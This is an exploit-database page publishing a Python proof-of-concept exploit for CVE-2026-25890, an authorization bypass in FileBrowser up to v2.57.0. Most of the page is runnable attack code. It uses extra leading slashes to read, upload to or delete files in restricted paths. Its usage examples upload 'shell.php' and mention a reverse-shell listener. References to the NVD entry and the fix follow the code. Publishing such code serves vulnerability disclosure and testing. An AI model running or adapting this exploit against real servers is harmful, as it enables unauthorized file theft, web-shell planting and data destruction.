FileBrowser ≤ v2.57.0 - Path-Based Access Control Bypass via Multiple Leading Slashes in URL (Authenticated Authorization Bypass)

2026.02.23
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/env python3 # Exploit Title: FileBrowser Access Control Bypass via Multiple Leading Slashes # CVE: CVE-2026-25890 # Date: 2026-02-20 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://filebrowser.org # Software Link: https://github.com/filebrowser/filebrowser # Vulnerable: FileBrowser ≤ v2.57.0 # Tested on: Linux / Docker # Category: Webapps # Platform: Multi # Exploit Type: Remote # Description: # Exploits path-based access control bypass in FileBrowser ≤ v2.57.0 using # multiple leading slashes (//private instead of /private) to bypass # authorization rules that use strings.HasPrefix without path normalization. # Allows unauthorized read, write and delete operations on restricted paths. # # Usage: # python3 exploit.py --url http://target:8080 --username bob --password pass123 --path /private/secret.txt # # Examples: # python3 exploit.py --url http://192.168.1.50:8080 --username user --password pass --path /private/secret.txt # python3 exploit.py --url http://10.10.10.123:80 --username alice --password secret --path /data/ --action upload --upload-file shell.php --slashes 3 # # Options: # --url Target FileBrowser base URL (required) # --username Authenticated username (required) # --password Password for the user (required) # --path Restricted path/file to target (required) # --action read | upload | delete (default: read) # --upload-file Local file to upload when using --action upload # --slashes Number of leading slashes to use for bypass (default: 2) # --save Save leaked file to this local path (for read action) # --verbose Show file content preview when reading # # Notes: # - Requires a valid low-privileged user account that is restricted from the target path # - Works because Gorilla Mux SkipClean(true) + HasPrefix() check mismatch # - Fixed in FileBrowser v2.57.1 by removing SkipClean(true) # # How to Use # # Step 1: Set up listener if using reverse shell payload (not included in this PoC) # Step 2: Run with appropriate action: # Read restricted file: --action read # Upload into restricted dir: --action upload --upload-file malicious.php # Delete restricted file: --action delete # import requests import argparse import sys from requests.auth import HTTPBasicAuth def print_banner(): banner = """ ╔════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ███████╗██╗██╗ ███████╗██████╗ ██████╗ ██████╗ ██████╗ ║ ║ ██╔════╝██║██║ ██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝ ║ ║ █████╗ ██║██║ █████╗ ██████╔╝██████╔╝██████╔╝██║ ║ ║ ██╔══╝ ██║██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══██╗██║ ║ ║ ██║ ██║███████╗███████╗██████╔╝██║ ██║██████╔╝╚██████╗ ║ ║ ╚═╝ ╚═╝╚══════╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ║ ║ ║ ║ CVE-2026-25890 FileBrowser Bypass ║ ║ Multiple Leading Slashes Authorization Bypass ║ ║ ║ ║ Author: Mohammed Idrees Banyamer | @banyamer_security ║ ║ Date: 2026-02-20 | Jordan ║ ╚════════════════════════════════════════════════════════════════════╝ """ print(banner) def test_vulnerability(session, base_url, api_prefix, restricted_path, slash_count=2, save_path=None, verbose=False): normal_url = f"{base_url}{api_prefix}{restricted_path}" print(f"[*] Testing normal path : {normal_url}") r_normal = session.get(normal_url) print(f" Status: {r_normal.status_code}") if r_normal.status_code == 403: print(" → Correctly blocked (expected behavior)") else: print(" → Warning: Not blocked — possibly not vulnerable or misconfigured") bypass_path = '/' * slash_count + restricted_path.lstrip('/') bypass_url = f"{base_url}{api_prefix}{bypass_path}" print(f"[*] Testing bypass path ({slash_count} slashes): {bypass_url}") r_bypass = session.get(bypass_url) print(f" Status: {r_bypass.status_code}") if r_bypass.status_code == 200: print(" → BYPASS SUCCESSFUL!") print(f" Content length: {len(r_bypass.content)} bytes") if save_path: with open(save_path, 'wb') as f: f.write(r_bypass.content) print(f" File saved to: {save_path}") if verbose: print(f" Content preview:\n{r_bypass.text[:400]}...") else: print(" → Bypass failed") def upload_file(session, base_url, api_prefix, restricted_dir, local_file, slash_count=2): if not restricted_dir.endswith('/'): restricted_dir += '/' bypass_dir = '/' * slash_count + restricted_dir.lstrip('/') filename = local_file.split('/')[-1] upload_url = f"{base_url}{api_prefix}{bypass_dir}{filename}" print(f"[*] Attempting upload to: {upload_url}") try: with open(local_file, 'rb') as f: files = {'upload': (filename, f)} r = session.post(upload_url, files=files) print(f" Status: {r.status_code}") if r.status_code in [200, 201, 204]: print(" → UPLOAD BYPASS SUCCESSFUL!") else: print(f" → Upload failed ({r.text[:200]}...)") except FileNotFoundError: print(f"[!] Local file not found: {local_file}") sys.exit(1) def delete_file(session, base_url, api_prefix, restricted_path, slash_count=2): bypass_path = '/' * slash_count + restricted_path.lstrip('/') delete_url = f"{base_url}{api_prefix}{bypass_path}" print(f"[*] Attempting delete: {delete_url}") r = session.delete(delete_url) print(f" Status: {r.status_code}") if r.status_code in [200, 204]: print(" → DELETE BYPASS SUCCESSFUL!") else: print(f" → Delete failed ({r.text[:200]}...)") if __name__ == "__main__": print_banner() parser = argparse.ArgumentParser(description="CVE-2026-25890 FileBrowser Access Control Bypass Exploit") parser.add_argument("--url", required=True, help="Target base URL[](http://host:port)") parser.add_argument("--username", required=True, help="Authenticated username") parser.add_argument("--password", required=True, help="User password") parser.add_argument("--path", required=True, help="Restricted path/file to target") parser.add_argument("--action", choices=["read", "upload", "delete"], default="read", help="Action: read (default), upload, delete") parser.add_argument("--upload-file", help="Local file to upload (--action upload)") parser.add_argument("--slashes", type=int, default=2, help="Number of leading slashes (default: 2)") parser.add_argument("--save", help="Save downloaded file here (--action read)") parser.add_argument("--verbose", action="store_true", help="Show content preview") args = parser.parse_args() if args.action == "upload" and not args.upload_file: print("[!] --upload-file is required when using --action upload") sys.exit(1) session = requests.Session() session.auth = HTTPBasicAuth(args.username, args.password) api_prefix = "/api/resources" try: if args.action == "read": test_vulnerability(session, args.url, api_prefix, args.path, args.slashes, args.save, args.verbose) elif args.action == "upload": restricted_dir = args.path if '/' not in args.path or args.path.endswith('/') else '/'.join(args.path.split('/')[:-1]) or '/' upload_file(session, args.url, api_prefix, restricted_dir, args.upload_file, args.slashes) elif args.action == "delete": delete_file(session, args.url, api_prefix, args.path, args.slashes) except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") sys.exit(1) except Exception as e: print(f"[!] Unexpected error: {e}") sys.exit(1) print("\nExploit finished. Use responsibly and only with explicit permission.")

References:

https://nvd.nist.gov/vuln/detail/CVE-2026-25890
https://github.com/filebrowser/filebrowser/commit/489af403a19057f6b6b4b1dc0e48cbb26a202ef9
https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top